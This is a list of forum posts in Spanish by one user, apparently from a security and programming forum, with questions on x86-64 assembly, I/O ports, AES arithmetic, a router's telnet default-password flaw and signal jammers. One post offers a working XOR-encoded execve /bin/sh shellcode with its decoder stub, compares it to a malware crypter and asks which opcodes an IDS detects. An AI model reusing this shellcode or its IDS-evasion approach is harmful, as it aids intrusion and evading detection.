Como podria hacer ese tipo de rotacion, lo mas eficiente posible. Este es lo que pretendo.

Código (asm) [Seleccionar]
0x63cab704ffed010408040cffee4488dd  rot 1 ----> 0xcab70463ed0104ff040cff084488ddee

Un saludo.
#32
Hola

Como no hay muchos temas de estos en el foro les dejo este aporte, se trata de la tipica execve /bin/sh. No esta testeada ya que utilizo OpenBSD y no puedo ejecutar nada desde la memoria, para la Linux cambien el numero de la syscall, tendria que funcionar.

Este codigo lo cree para poner en practica mis conocimientos, si alguien da un mal uso es su problema, no soy responsable.

"\xeb\x0c\x5e\x46\x31\x24\x8e\x41\xfe\xc9\x75\xf7\xff\xe6"
"\x41\xb1\x06\x4d\x31\xe4\x41\xff\xcc\xe8\xe6\xff\xff\xff"
"\xb7\x44\xe8\x4e\xcb\x48\x68\xc6\xcb\x7f\xb7\x2e\x3c\xac"
"\xab\xa0\xb7\xce\x3f\xaf\xab\xa1\xb7\x66\x4f\xc4\xf0\xfa";


Este es el Encode.

Código (asm) [Seleccionar]
_start:

jmp _C.2

_C.0:

popq %rsi

_C.1:

xorl %r12d, (%rsi, %r9, 4)
decb %r9b
jnz _C.1
jmp *%rsi

_C.2:

movb $0x6, %r9b
xorq %r12, %r12
decl %r12d
call _C.0


Como pueden observar es casi identico por no decir que es completamente identico al de un crypter de un troyano o malware similar. Tengo bastantes ideas de como mejorar el cifrado, si alguien se anima que lo comente, y cualquier pregunta sobre el codigo ya saben.

Un saludo.

P.D: Alguien sabe cuales son los opcodes que detecta un IDS? Por ejemplo se que Snort detecta los NOP y /bin/sh.
#33
Electrónica / Duda inhibidores
2 Agosto 2013, 10:43 AM
Hola

Bueno lo primero de todo es que no se piensen que quiero cometer un delito, simplemente es curiosidad.
Estaba mirando estos dispositivos y me parecen muy interesantes, he mirado el funcionamiento, operan a la misma frecuencia que el dispositivo a inhibir pero con una potencia de onda mayor.

Mi pregunta es la siguiente.

Si mi router funciona en la frecuencia 2,4 Ghz a unos 200 mW, y tengo una tarjeta que funciona a la misma frecuencia pero a 1 W no se podria inhibir ese router?

Un saludo.
#34
Redes / Problema con router del ISP.
27 Julio 2013, 10:18 AM
Hola

Me gustaria saber de alguien que tenga un router Huawei modelo hg532c del ISP Jazztel, ya que tengo un problema y no se si es fallo mio o del router.

Un saludo.




Bueno, ya probe lo mismo en otro router del mismo modelo pero de otro operador, en este caso Orange y tiene el mismo problema, que es el siguiente.

Cuando entro a traves del puerto 80, ya saben por el navegador, el router pide un usuario y pass, que en este caso por default es admin admin, bueno como ya sabran esos valores se tienen que cambiar ya que si no es un fallo muy grave de seguridad. Cambio la pass en el apartado de mantenimiento y todo bien, al ingresar de nuevo la pass admin no es valida. Pero resulta que aparte utilizo OpenBSD y no tengo entorno grafico asi que utilizo telnet para entrar al router, si aun hay gente que utiliza telnet, ingresas a una terminal con el siguiente mensaje.


Código:
-------------------------------
-----Welcome to ATP Cli------
-------------------------------

Vamos la terminal de todo la vida, y como es normal pide el user y la pass, pues hay esta el problema pruebo la pass que cambie anteriormente y no la accepta pero el admin admin si funciona, y puedo entrar a la consola ATP y a busybox. Eso en los dos router que probe uno de Jazztel y el otro de Orange, alguien tiene ese modelo para corroborar esto?

Es un fallo de seguridad o es que no configure bien el router?

Un saludo.
#35
Criptografía / Multiplicacion AES
23 Julio 2013, 03:35 AM
Hola

Estoy leyendo el fips-197, y tengo un problema con el siguiente polinomio.

(x^6 + x^4 + x^2 + x + 1) (x^7 + x + 1) modulo (x^8 + x^4 + x^3 + x + 1) = x^7 + x^6 + 1


Entiendo todos lo ejemplos, pero no se muy bien como implementar el modulo, mi resulatdo es erroneo.

Un saludo.
#36
ASM / Comandos puertos I/O
4 Julio 2013, 11:05 AM
Hola

En un tema anterior hable de como obtener valores del teclado a traves del puerto de entrada.
Ahora me gustaria intentar comunicarme con algun dispositivo mas complejo, pero el problema es que no se que comandos enviar o como comunicarme con el.

Aqui estan los del teclado y el raton.

http://www.win.tue.nl/~aeb/linux/kbd/scancodes-11.html

Tendra que a ver algo parecido para los distintos dispositivos no?

Unos cuantos dispositivos y sus puertos que saque de ioport.

1000-1003 : ACPI PM1a_EVT_BLK
1004-1005 : ACPI PM1a_CNT_BLK
1008-100b : ACPI PM_TMR
1010-1015 : ACPI CPU throttle
1020-1020 : ACPI PM2_CNT_BLK
1028-102f : ACPI GPE0_BLK
4000-40ff : 8139too
4400-44ff : PCI CardBus 0000:07
4800-48ff : PCI CardBus 0000:07
5000-5fff : PCI Bus 0000:02


Me interesan todos pero el que mas es 8139too, es el dispositivo ethernet. Cualquier ayuda es bienvenida.

Y ya que estoy les pregunto esto, se puede construir un paquete ya sea TCP, ICMP, UDP y enviarlo a traves del puerto ethernet, como la API send, connect etc...

Un saludo.

P.D: Siento las faltas de ortografia, teclado distinto.
#37
Hola

Estaba leyendo en los tomos de intel las instrucciones in y out que son capaces de leer y escribir en los puertos I/O, e visto códigos que leen caracteres del teclado.

La pregunta es esta espero que no sea muy tonta.

Se podría leer el tráfico que pasa por el dispositivo ethernet a traves de su puerto con esas instrucciones?

Creo que este es su puerto.

0x0010: BAR io addr: 0x0000de00/0x0100


Un saludo.
#38
ASM / Puertos I/O
16 Mayo 2013, 15:17 PM
Hola

Citarit0 at isa0 port 0x2e/2: IT8720F rev 8, EC port 0x228

Es el sensor de temperatura.

Tengo el siguiente código:

Código (asm) [Seleccionar]
movb $0x2e, %dl ; movw $0x228, %dx
in %dx, %eax


El resultado es un core dumped, que estoy haciendo mal?

Un saludo.

#39
ASM / Memoria superior
6 Mayo 2013, 11:58 AM
Hola

Empiezo con un ejemplo.

Código (asm) [Seleccionar]
pop rsi  // envp
pop rsi  // argv
pop rsi  // argc


Seria la forma de mirar los valores de esos argumentos.

El siguiente código que encontre pasa la estructura icmp_hdr.

; fix up ttl (optional?! make sure its high!)
; mov   [ebp+8], byte 0ffh

; switch ip's
mov   ecx, [ebp+12]
xchg  [ebp+16], ecx
mov   [ebp+12], ecx

; set icmp type to echo reply (optional?!)
;mov   [ebp+20], word zero_reg_w
; zero checksum
;mov   [ebp+22], word zero_reg_w
; set icmp type to echo and zero checksum
mov   [ebp+20], zero_reg

lea   ecx, [zero_reg+117]
lea   esi, [ebp+20]


Esta escribiendo en argv y en envp, no lo entiendo, alguien puede ayudarme?

Un saludo.
#40
Hardware / AM3+ en socket AM3
1 Mayo 2013, 02:49 AM
Hola

Pues lo dicho, me gustaría instalar un zambei en un socket am3, e estado leyendo artículos que dicen que se puede si actualizas la bios. Pero creo que no hay soporte para mi placa base GA-890FXA-UD5.

No quiero montar nada serio con un FX-4100 es más que suficiente.

¿Qué pasaría si lo colocara sin esa actualización?

Un saludo.
#41
ASM / Llamar dirección
9 Abril 2013, 18:20 PM
Hola

Cuando cargo unos bytes en el stack, y luego los llamo con un call tengo el siguiente problema.

Código (asm) [Seleccionar]
pushq $0x050f01b0
callq *%rsp


Sería una llamada a exit, crea un segmentation fault, cuando cargo los bytes en memoria igual.

PSIG  SIGSEGV SIG_DFL code SEGV_MAPERR<1> addr=0x6001d0 trapno=6

En C más de lo mismo.

Cuando miro el disassembler llama a esp, no entiendo porque no llamada a rsp, seguro que esta hay el problema.

Pero en 32 bits funciona bien.

También mirare los manuales.

Un saludo.

P.D:

(*(void(*)()) code)();

:huh: :huh:

Código (asm) [Seleccionar]
mov    $0x600980,%edx
mov    $0x0,%eax
callq  *%edx


#42
Unix/Unix-Like / Incluir cabezales ".h"
18 Marzo 2013, 19:51 PM
Estoy realizando un programa en ASM y necesito recurrir a las librerias de C.

Probé la directiva .extern pero sin resultado, compilando el ".S" con gcc opción -nostdlib pero nada.

Se pueden incluir los cabezales con ld?
Cuál seria la forma?

Si eso no es posible la única forma seria pasar la función a syscall, pero eso no seria portable para otras plataformas no?

Un saludo.
#43
Unix/Unix-Like / Libros sobre LKM
14 Marzo 2013, 20:10 PM
Alguien conoce algún libro no demasiado obsoleto que traté sobre los LKM?

Yo encontré este, que les parece?

Unix Systems for Modern Architectures

Un saludo.
#44
ASM / Argumento 64 bits.
26 Febrero 2013, 20:55 PM
Hola

Cuando paso el valor al cuarto argumento rcx, al llamar la syscall el valor se torna nuló, es lo que muestra kdump, ¿A que se debe?.


Código (asm) [Seleccionar]
.section .text
.globl _start

_start:

pushq $0x2
popq %rdi
pushq $0x1
popq %rsi
movb $0x6, %dl
addb $0x61, %al
syscall

xchgq %rax, %rdi
incq %r8
incq %rsi
leaq 0x8(%rsp), %rcx
movb $0x69, %al
syscall


CALL  socket(PF_INET,SOCK_STREAM,IPPROTO_TCP)
RET   socket 3
CALL  setsockopt(0x3,0x2,0x6,0,0x1)
RET   setsockopt -1 errno 22 Invalid argument
PSIG  SIGSEGV SIG_DFL code SEGV_MAPERR<1> addr=0x16 trapno=6


Un saludo.
#45
ASM / [Duda] Estructuras
6 Febrero 2013, 16:56 PM
Hola

Cuando una función requiere una estructura cargo los valores al stack, y los paso como dirección, pero la pregunta es la siguiente.

Quiero rellenar la estructura tcphdr, el encabezado tcp, pero esta no requiere que la pase a ninguna función, como se hace?

Un saludo.